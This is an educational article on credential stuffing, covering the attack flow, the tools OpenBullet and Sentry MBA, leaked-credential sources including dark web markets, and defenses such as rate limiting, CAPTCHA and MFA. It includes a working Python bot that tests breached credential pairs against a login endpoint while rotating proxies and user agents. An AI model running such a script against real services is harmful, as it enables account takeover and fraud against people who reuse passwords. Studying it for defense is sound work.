GO KALI FREE
IntermediateSecurity

Credential Stuffing: Automated Account Takeover Attacks

Learn about credential stuffing attacks that use leaked credentials from data breaches to automate account takeover across different services.

#Credential Stuffing#Account Takeover#Data Breach#Authentication#Password Security

When 160,000 Nintendo Accounts Fell in One Day

In April 2020, Nintendo confirmed that 160,000 user accounts were compromised. Attackers hadn't hacked Nintendo's servers — they used credentials leaked from unrelated breaches to log into Nintendo Network IDs. The same reused passwords that players used on forums, shopping sites, and gaming platforms gave attackers access to stored credit cards and digital purchases. This is credential stuffing: using one breach to unlock a thousand doors.

Credential stuffing is a type of cyber attack where attackers use username/password pairs obtained from data breaches to automatically gain access to user accounts on other services. The attack exploits password reuse.

Prerequisites

Before studying credential stuffing, you should understand:

  • **Authentication Attacks** — Login mechanisms
  • **Password Security Guide** — Password reuse problem
  • **Data Breach Fundamentals** — How credentials are leaked
  • **Password Spraying** — Related credential attacks
  • The Credential Reuse Problem

    # Studies show 65% of users reuse passwords across multiple sites
    # If one site is breached, attackers try those credentials everywhere
    
    User's password usage:
    Gmail:       MySecurePass1!
    Facebook:    MySecurePass1!
    LinkedIn:    MySecurePass1!
    Amazon:      MySecurePass1!
    Bank:        MySecurePass1!  # Same password!
    
    # One breach compromises ALL accounts
    

    How Credential Stuffing Works

    Attack Flow

  • **Obtain leaked credentials** — From data breaches (Collection #1, HaveIBeenPwned, paste sites)
  • **Validate and clean data** — Remove duplicates, format for automation
  • **Automate login attempts** — Script or tool tries credentials against target services
  • **Check for success** — Identify valid logins and extract account data
  • **Scale and monetize** — Use access for fraud, data theft, or credential sales
  • Attack Scale

    # Modern credential stuffing attacks operate at massive scale
    # 1,000-100,000+ compromised credentials per target
    # Distributed across thousands of IP addresses
    # Mimics normal user traffic patterns
    

    Credential Stuffing Tools

    Using OpenBullet

    # OpenBullet is a popular credential stuffing framework
    # Features:
    # - Multi-threaded checking
    # - Proxy rotation (HTTP, SOCKS)
    # - Captcha solving integration
    # - Custom configs for different sites
    # - Results export and analysis
    
    # Configuration structure:
    # Configs/ — Site-specific login configurations
    # Wordlists/ — Credential pairs
    # Proxies/ — Proxy lists for IP rotation
    # Results/ — Valid/Invalid account storage
    

    Using Sentry MBA

    # Sentry MBA is another credential stuffing tool
    # Features:
    # - Cookie and header management
    # - Multi-threading
    # - Proxy support
    # - User-agent rotation
    

    Custom Python Script

    import requests
    from threading import Thread
    from queue import Queue
    
    class CredentialStuffingBot:
        def __init__(self, target_url, proxies=None):
            self.target = target_url
            self.proxies = proxies or []
            self.session = requests.Session()
    
        def attempt_login(self, username, password):
            data = {
                'email': username,
                'password': password,
                'remember': 'true'
            }
    
            try:
                resp = self.session.post(
                    self.target,
                    data=data,
                    proxies={'http': self.get_proxy()},
                    timeout=10,
                    headers={'User-Agent': self.random_ua()}
                )
    
                if 'Invalid' not in resp.text and 'incorrect' not in resp.text:
                    return True
                return False
            except Exception:
                return False
    
        def worker(self):
            while not self.queue.empty():
                username, password = self.queue.get()
                if self.attempt_login(username, password):
                    self.valid.append((username, password))
                self.queue.task_done()
    
        def stuff(self, credentials):
            self.queue = Queue()
            self.valid = []
    
            for cred in credentials:
                self.queue.put(cred)
    
            threads = []
            for _ in range(10):
                t = Thread(target=self.worker)
                t.start()
                threads.append(t)
    
            for t in threads:
                t.join()
    
            return self.valid
    
        def get_proxy(self):
            import random
            return random.choice(self.proxies) if self.proxies else None
    
        def random_ua(self):
            agents = [
                'Mozilla/5.0 (Windows NT 10.0; Win64; x64)...',
                'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)...',
            ]
            import random
            return random.choice(agents)
    

    Leaked Credential Sources

    Public Breach Datasets

    # Collection #1-5 (largest credential compilation)
    # Contains billions of unique username/password pairs
    
    # HaveIBeenPwned
    # Searchable database of breached credentials
    
    # Dehashed
    # Search engine for leaked credentials
    
    # Paste sites (Pastebin, Ghostbin)
    # Attackers often post credential dumps here
    

    Dark Web Markets

  • **Russian Market** — Large credential marketplace
  • **Genesis Market** — Browser fingerprint + credentials
  • **Slilpp** — Specialized credential shop (taken down 2022)
  • **Automated botnets** — Compromised machines used for credential validation
  • Detection and Defense

    Rate Limiting

    const rateLimit = require('express-rate-limit');
    
    // Per-IP rate limiting
    const ipLimiter = rateLimit({
      windowMs: 15 * 60 * 1000,
      max: 20,
      message: 'Too many requests',
    });
    
    // Per-account rate limiting
    const accountLimiter = rateLimit({
      windowMs: 15 * 60 * 1000,
      max: 5,
      keyGenerator: (req) => req.body.username,
      message: 'Account temporarily locked',
    });
    
    app.use('/login', ipLimiter, accountLimiter);
    

    Device Fingerprinting

    // Detect automation tools
    function detectAutomation(headers) {
      const indicators = [
        !headers['accept-language'],
        headers['user-agent']?.includes('Python'),
        headers['user-agent'] === undefined,
        headers['connection'] === 'close',
      ];
      return indicators.some(Boolean);
    }
    

    CAPTCHA and Progressive Challenges

    // Progressive security challenges
    const FAILURE_THRESHOLD = 3;
    
    app.post('/login', async (req, res) => {
      const failures = await getFailures(req.ip);
    
      if (failures >= FAILURE_THRESHOLD) {
        // Require CAPTCHA
        if (!req.body.captcha || !verifyCaptcha(req.body.captcha)) {
          return res.status(403).json({ error: 'captcha_required' });
        }
      }
    
      // Normal login logic
    });
    

    Real-World Examples

    Dunkin Donuts (2018): Credential stuffing attacks compromised DD Perks reward accounts, with attackers using stolen credentials from other breaches to access customer accounts and stored payment information.

    Magecart and Credential Stuffing (2019): Attackers combined credential stuffing with web skimming — using compromised accounts to inject payment skimmers into e-commerce sites.

    Nintendo Accounts (2020): 160,000 Nintendo accounts were compromised through credential stuffing, with attackers using leaked credentials from other breaches to access Nintendo Network IDs.

    Common Mistakes

    Password reuse: The root cause. Users reusing passwords across services directly enables credential stuffing.

    No rate limiting: Without limits, attackers can test millions of credentials rapidly.

    No breach monitoring: Organizations unaware that their employees use breached passwords.

    Ignoring IP reputation: Not checking login IPs against threat intelligence feeds.

    No account takeover detection: Missing indicators like password changes from new devices.

    Best Practices

  • **Check passwords against breach databases** — Use HaveIBeenPwned API or similar
  • **Implement CAPTCHA or progressive challenges** — After failed attempts
  • **Use device fingerprinting** — Detect automated login patterns
  • **Monitor for credential stuffing indicators** — High failure rates, automation signatures
  • **Require MFA** — Credential stuffing fails against MFA-protected accounts
  • **Educate users** — Encourage unique passwords with password managers
  • **Use breach monitoring services** — Be notified when credentials appear in dumps
  • Related Tools

  • **HaveIBeenPwned** — Check if credentials are in known breaches
  • **Firefox Monitor** — Breached credential notifications
  • **Microsoft Defender for Identity** — Credential stuffing detection
  • **Cloudflare Bot Management** — Automated traffic detection
  • Related Articles

  • Password Spraying
  • Authentication Attacks
  • Brute Force Fundamentals
  • Password Security Best Practices
  • Summary

    Credential stuffing exploits password reuse by testing leaked credentials across different services. It is a volume-based attack that leverages the massive scale of data breaches. Defenses include rate limiting, device fingerprinting, CAPTCHA, and most importantly, MFA and password monitoring against breach databases.

    Knowledge Check

  • What is the root cause of credential stuffing vulnerabilities?
  • How does credential stuffing differ from brute force?
  • Why is rate limiting important against credential stuffing?
  • How does MFA prevent credential stuffing?
  • What is the purpose of proxy rotation in credential stuffing tools?
  • Frequently Asked Questions

    What is credential stuffing?

    Credential stuffing is an attack where leaked username/password pairs from data breaches are automatically tested against other websites. It exploits password reuse — if a user reuses the same password across services, one breach can compromise all their accounts.

    How does credential stuffing differ from brute force?

    Brute force tries random password combinations against an account. [Credential stuffing](/articles/credential-stuffing) uses real breached credentials, making it far more efficient because the passwords are known to be valid somewhere. Success rates are 1-5% due to password reuse statistics.

    Where do attackers get credentials for stuffing attacks?

    Attackers source credentials from public breach compilations (Collection #1-5), dark web markets like Russian Market, paste sites, and searchable databases like HaveIBeenPwned and Dehashed. Billions of leaked credentials are publicly available.

    What tools are used for credential stuffing?

    OpenBullet and Sentry MBA are popular GUI-based tools with multi-threading, proxy rotation, and site-specific configs. Custom Python scripts using the `requests` library are also common for targeted attacks against specific login endpoints.

    How does rate limiting defend against credential stuffing?

    Rate limiting restricts login attempts per IP or per account within a time window. Implementing both IP-based (20 attempts/15 min) and account-based (5 attempts/15 min) limits makes automated stuffing attacks impractical at scale.

    How does MFA prevent credential stuffing?

    Even if an attacker has valid credentials, MFA requires a second factor they cannot provide. This is why MFA is considered the single most effective defense against credential stuffing. See our [MFA Security guide](/articles/mfa-security-deep-dive) for implementation details.

    What is device fingerprinting and how does it help?

    Device fingerprinting collects browser characteristics (user agent, plugins, screen resolution) to detect automated tools. Credential stuffing bots often lack realistic fingerprints, and tools like Python's `requests` library send identifiable headers that reveal automation.

    What is the scale of modern credential stuffing attacks?

    Modern attacks test 1,000 to 100,000+ credential pairs per target, distributed across thousands of proxy IPs to mimic normal traffic. Attacks can compromise hundreds of accounts per hour against unprotected endpoints, making automated detection essential.

    What was the Nintendo credential stuffing incident?

    In 2020, 160,000 Nintendo accounts were compromised through credential stuffing. Attackers used credentials leaked from other breaches to access Nintendo Network IDs, resulting in unauthorized purchases of in-game currency through stored payment methods.

    How do CAPTCHAs help against credential stuffing?

    Progressive CAPTCHA challenges after 2-3 failed login attempts force human interaction, blocking automated bots. Tools like reCAPTCHA v3 assign risk scores based on behavior without user interaction, silently flagging suspicious login patterns from stuffing attacks.